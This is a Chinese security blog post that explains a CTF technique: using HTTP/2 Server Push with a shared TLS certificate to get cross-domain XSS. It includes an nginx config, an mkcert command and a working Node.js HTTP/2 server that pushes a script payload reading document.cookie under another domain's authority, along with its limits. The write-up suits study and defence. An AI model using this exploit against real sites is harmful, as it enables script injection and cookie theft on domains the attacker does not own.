A Magic Way of XSS in HTTP/2

Zedd 2022-08-12 08:56:00

上周周末结束的 corCTF 中有一个题目提出了一种很有意思的攻击,该攻击方式可以利用 HTTP/2 Server Push 机制 XSS 到其他域,尽管利用条件有点苛刻,但是我个人非常喜欢这种 Magic 的攻击方式。(在征求了原作者 @ehhthing 同意下将该方法分享给大家)

TL;DR

在共享证书的情况下,如果我们对其中一个域名可控,并且拥有其证书,我们可以构建一个 HTTP/2 Server 通过 HTTP/2 Server Push 机制可以造成其他共享证书的域名下的 HTTP/2 站点的 Global XSS

利用条件:

  • 证书共用:两个域名都需要共用一张证书
  • HTTP/2: 攻击目标 Server 需要支持 HTTP/2
  • 已获得一个域名的所有权以及对应证书

HTTP/2 && Server Push

Server Push 机制算是 HTTP/2 协议中的一大新特性,我们可以简单了解一下 HTTP/2 以及 Server Push 的背景以及其工作机制。

Background

HTTP,超文本传输协议,它是网络数据通信的基础。HTTP/1.1 在其生命周期中表现良好,但随着 Web 的发展,其协议设计已经无法在满足今天 Web 应用的性能需求,尽管 HTTP/1.1 中尝试增加 Pipline 等机制来优化并发等问题,但是其始终无法解决队头阻塞、发送重复的 Headers 数据、单个 TCP 链接利用效率较低等问题导致网络性能的降低。

HTTP/2 是自 1997 年 HTTP/1.1 首次由 IETF 发布以来的第一个主要 HTTP 协议更新,其对以前的版本做出了重大的改进,带来了很多新特性以及安全性功能等。例如新的二进制报文格式、多路复用、头部压缩、服务端推送等特性,今天我们主要介绍的特性就是服务端推送( Server Push )。

Browsing in HTTP/1.x

我们首先来看看没有 Server Push 的工作流程,在一般的 Web 访问流程中:

  1. 首先浏览器向服务端请求主页面 index.html,服务端响应 index.html 内容
  2. 浏览器获取到主页应答后,开始解析主页的 html 标签,发现构建 DOM 树还需要 CSS/GIF/JS 等资源
  3. 向服务端发起针对 CSS/GIF/JS 的内容请求
  4. 浏览器获取并解析 JS 和 CSS 等内容,然后继续请求依赖资源

Pic From https://www.smashingmagazine.com/2017/04/guide-http2-server-push/

这就是传统的网页请求方式,但是我们也能从中看到一些问题,比如对于如今的 Web 页面,至少需要两轮以上的 HTTP 通信才能完整加载页面,而如果在请求 CSS 文件的时候遇到网络问题、或者文件过大,就会导致页面内容杂乱无章,极大地降低了用户体验。

当然目前也有一些解决方法,比如把外部资源合并在网页文件里面,减少 HTTP 请求,例如把图片以 Base64 放到 URI 中;又或者使用 预加载(preload)机制。

这两种方法都有缺点。第一种方法虽然减少了 HTTP 请求,但是把不同类型的代码合并在一个文件里,违反了分工原则。第二种方法只是提前了下载时间,并没有减少 HTTP 请求。

What Server Push is

HTTP/2 Server Push allows an HTTP/2-compliant server to send resources to an HTTP/2-compliant client before the client requests them. Server Push is a performance technique aimed at reducing latency by loading resources preemptively, even before the client knows they will be needed.

HTTP/2 Server Push is not a notification mechanism from server to client. Instead, pushed resources are used by the client when it may have otherwise produced a request to get the resource anyway.

HTTP/2 服务器推送允许符合 HTTP/2 的服务器在客户端请求资源之前将资源发送到符合 HTTP/2 的客户端。服务器推送是一种性能技术,旨在通过抢先加载资源来减少延迟,甚至在客户端知道它们将被请求之前。

举个例子,浏览器只请求了 index.html ,但是服务器会把 index.html/style.css/example.png 全部发送给浏览器,这样只需要一轮 HTTP 通信,浏览器就得到了全部资源,从而提高了性能。

但是 HTTP/2 服务器推送不是从服务器到客户端的通知机制,相反,当客户端可能已经产生了获取资源的请求时,客户端才会使用推送的资源。

How it works

我们来简单了解一下 Server Push 的工作流程:

  1. 首先浏览器向服务端请求主页面 index.html,服务端响应 index.html 内容
  2. 同时,服务器预测到了客户端需要请求 styles.css 等静态资源,在无需客户端请求 styles.css 的情况下,随后发送 styles.css 的内容给客户端
  3. 浏览器依次获得 index.html/styles.css 等内容,完成解析 DOM 树构造

https://www.smashingmagazine.com/2017/04/guide-http2-server-push/

当然上述的“预测”是需要进行一些简单的服务器配置的,例如我们使用 Nginx ,需要在 Nginx 中使用 http2_push 进行如下配置:

server {
    listen 443 ssl http2;
    server_name _;
    ssl_certificate /parth/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    root /var/www/html/;

    http2_push /styles.css;
    location = / {
        index index.html;
    }
}

在服务器已准备好 HTTP/2 Push 后,则当服务器收到 index.html 的请求时,服务器可以"预测"客户端随后应该会对 styless.css 等资源发起请求。我们从一个流量报文简单分析一下:

  • 服务器在 Stream ID 1 中接收到请求 index.html 的 HEADERS 帧,它可以“预测”对 styles.css 的需求,根据服务器配置推送 styles.css
  • 服务器再次在 Stream ID 1 中为 styles.css 发送 PUSH_PROMISE ,这些帧大致相当于浏览器的请求
  • 服务器在 Stream ID 1 中发送一个 HEADERS 帧以响应对 index.html 的请求
  • 服务器发送带有 index.html 内容的 DATA 帧,仍然在 Stream ID 1 中
  • 服务器发送 HEADERS 帧以响应流 2 中的 styles.css (HEADERS[2]/DATA[2])

v8xkwV.png

我们需要在 index.html 放置对应加载的资源才能看到 Chrome 对 push 资源的显示,例如:

<head><link rel="icon" href="data:,"><link rel="stylesheet" href="styles.css"></head>
This is push index

Where the bug is

既然是推送资源,那我们要是跨域加载一些其他资源会怎么样呢?是不是也可以通过 Push 实现呢?毕竟对于一些 CSS/JS 等资源进行跨域请求在现在互联网是非常常见的,那 HTTP/2 Push 里面应该怎么做呢?

在一些中文互联网资料里面,有些资料明确说不可以,有些说可以,最后在一篇 HTTP/2 push is tougher than I thought 博客里面找到了答案:

As the owners of developers.google.com/web, we could get our server to push a response containing whatever we wanted for android.com, and set it to cache for a year. A simple fetch would be enough to drag that in the HTTP cache. Then, if our visitors went to android.com, they'd see "NATIVE SUX – PWA RULEZ" in large pink comic sans, or whatever we wanted.

Of course, we wouldn't do that, we love Android. I'm just saying… Android: if you mess with the web, we'll fuck you up.

Ok ok, I jest, but the above actually works. You can't push assets for any origin, but you can push assets for origins which your connection is "authoritative" for.

If you look at the certificate for developers.google.com, you can see it's authoritative for all sorts of Google origins, including android.com.

我们在回到 HTTP/2 RFC 7540#Section-8.2 中看:

The server MUST include a value in the ":authority" pseudo-header field for which the server is authoritative (see Section 10.1). A client MUST treat a PUSH_PROMISE for which the server is not authoritative as a stream error (Section 5.4.2) of type PROTOCOL_ERROR.

HTTP/2 relies on the HTTP/1.1 definition of authority for determining whether a server is authoritative in providing a given response (see [RFC7230], Section 9.1). This relies on local name resolution for the "http" URI scheme and the authenticated server identity for the "https" scheme (see [RFC2818], Section 3).

虽然 RFC 里面没有明确提示可以 Push 跨域资源,但是对于 Push 的资源一定要验证 :authority 头部。并且根据上述的博客内容,虽然我们没办法推送任何(any)域的资源,但是我们可以推送证书共用下的其他域名的资源,只要设置好:authority就行。

Let's try!

我们首先使用 mkcert 生成一张域名共用、用以测试的证书:

mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo

用以下 nodejs 代码搭建一个 HTTP/2 服务器:

const http2 = require("http2");
const path = require("path");
const fs = require("fs");

const { HTTP2_HEADER_PATH, HTTP2_HEADER_AUTHORITY } = http2.constants;

const MAIL_DOMAIN = "b.zedd.ovo";
const EXPLOIT_DOMAIN = "a.zedd.ovo";

const server = http2.createSecureServer(
    {
        cert: fs.readFileSync(path.join(__dirname, "cert.pem")),
        key: fs.readFileSync(path.join(__dirname, "key.pem")),
        origins: [`https://${EXPLOIT_DOMAIN}`, `https://${MAIL_DOMAIN}`],
    },
    (req, res) => {
        if (req.url === "/") {
            res.end("This is the HTTP/2 Server\n");
        } else if (req.url === "/set") {
            res.setHeader("Set-Cookie", `mycookie=test; domain=${MAIL_DOMAIN}; path=/; expires=${new Date(Date.now() + 60 * 1000).toUTCString()}`);
            res.end("Set cookie: mycookie=test\n");
        } else if (req.url === "/csp") {
            res.setHeader("Content-Security-Policy", "default-src 'self'");
            res.end("Set CSP\n");
        } else if (req.url === "/push") {
            res.stream.pushStream(
                {
                    [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN,
                    [HTTP2_HEADER_PATH]: "/",
                },
                (err, pushStream, headers) => {
                    console.log("push");
                    pushStream.on("error", console.error);

                    let content = "<script>alert(document.cookie);</script>";

                    pushStream.respond({
                        "content-length": content.length,
                        "content-type": "text/html",
                    });

                    pushStream.end(content);
                }
            );

            let content = `<meta http-equiv="refresh" content="1;url=https://${MAIL_DOMAIN}/" />`;

            res.stream.respond({
                "content-length": content.length,
                "content-type": "text/html",
            });
            res.stream.end(content);
        }
    }
);

server.listen(443);

其中关键点是我们需要设置好 [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN 的认证字段,需要符合证书共用当中的域名

我们需要做的就是:

  1. 首先访问 https://b.zedd.ovo/set 设置 b 域名的 cookie
  2. 访问 https://a.zedd.ovo/push 让服务端 Push b 域名的资源
  3. 被X

vGEiIs.gif

上面是一个 GIF ,如果它不动,请访问:https://s1.ax1x.com/2022/08/11/vGEiIs.gif

假设一个场景,我们可控 a.zedd.ovo 并且拥有证书,并且该域名跟 b.zedd.ovo 共用证书,接下来发生的事:

  1. 通过 https://b.zedd.ovo/set 设置的 cookie 受到同源策略限制,我们无法从 a.zedd.ovo 获取 b 域名的 cookie
  2. 通过受害者访问 https://a.zedd.ovo/push ,我们通过 HTTP/2 Push 推送一个 b 域名的资源,并在 a 站上设置一个 refresh 跳转到 b 站上。此时因为是在 a 站上,即使不立即跳转,浏览器也不会加载我们 push 的资源,因为我们的 :authority 是属于 b 站的,只能在 b 站上加载
  3. 受害者跳到 b 站上后,浏览器尝试加载刚才我们 push 的资源,检查:authority等要素,符合当前域名的加载要求,加载该脚本,完成攻击

Summary

虽然看起来这个攻击比较 Magic ,优势自然无需多说,但是仔细思考其实限制还是比较大的:

  1. CSP 仍然可以限制:由于执行的资源仍然出于被攻击页面上下文,所以如果被攻击域仍然有 CSP 还是会受到限制
  2. 需要前提条件过多:所需要的域名控制权、证书要求等都比较受限
  3. HTTP/2 Server Push 的现状以及未来:
  4. HTTP/2 Server Push 是一个目前默认开启的客户端选项,在客户端与服务端握手协商的时候会确定该选项是否开启,一些 CDN 并不支持 Server Push
  5. 虽然 Server Push 机制看起来很美好,但是在实践中该机制经常导致带宽浪费,因为服务器很少知道客户端已经加载了哪些资源,并且多次传输相同的资源
  6. Chrome 在未来打算移除对 HTTP/2 Server Push 的默认支持:Intent to Remove: HTTP/2 and gQUIC server push

当然利用这种机制不只是 XSS ,而且我觉得 Push 的问题可能不止于此,但是奈何自己比较菜,目前没有进一步的想法,欢迎大家一起来头脑风暴、交流思路~

本次 CTF 主要使用该技巧进行 XSS ,当然前面部分还涉及到证书的获取等等,这部分就没有 HTTP/2 Push 这个技巧这么精彩所以就不在此赘述,如果有对其他 CTF 赛题感兴趣的同学,欢迎移步到「Funny Web CTF」: https://t.zsxq.com/047y7iAuf

Thanks @ehhthing for his amazing challenges!

References

RFC7540

HTTP/2 push is tougher than I thought

Introduction to HTTP/2

A Comprehensive Guide To HTTP/2 Server Push

HTTP/2 Server Push

HTTP/2 服务器推送(Server Push)教程

评论

Zedd

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

后门 文章:39 篇
木马与病毒 文章:125 篇
XSS 文章:34 篇
MongoDB安全 文章:3 篇
IoT安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

U

unfixable

所有的接口都是反射去调用的,这些接口的参数都是source,代码量还大,只能小范

D

duidui

师傅 有个地方写错了 __FUNCTION__ 是获取函数名的魔术方法

S

solocogo

博主能共享下样本吗?谢谢

eternal8233

师傅,我能请教一下,字符串拼接的webshell在php5.6下能有回显,在ph

D

Da22le

因为JdbcRowSetImpl是通过JNDI来实现rce的,191以后对JND

目录